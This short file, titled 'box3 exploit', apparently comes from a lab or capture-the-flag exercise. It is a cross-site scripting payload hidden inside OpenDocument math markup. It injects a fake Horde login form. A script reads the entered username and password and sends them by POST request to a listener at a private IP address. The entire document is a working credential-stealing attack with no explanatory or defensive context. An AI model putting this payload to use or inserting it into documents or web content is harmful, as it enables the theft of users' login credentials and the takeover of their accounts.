box3 exploit

<draw:object><math:math><math:semantics>
            <p>XSS!</p>
            <form >
            <input type="text" id="horde_user" name="horde_user"/>
            <input type="password" id="horde_pass" name="horde_pass" oninput="EvilStuff()"/>
            </form>
            <script>
                function EvilStuff(){
                    var user=document.getElementById('horde_user').value;
                    console.log('Caught user');
                    var passwrd=document.getElementById('horde_pass').value;
                    fetch('http://192.168.206.1:8000/file.html?c=',{
                        method:'POST',
                        mode:'no-cors',
                        body:user+ ' : ' +passwrd
                    });
                    console.log('fetch finished!');
                }
                </script>
            </math:semantics></math:math></draw:object>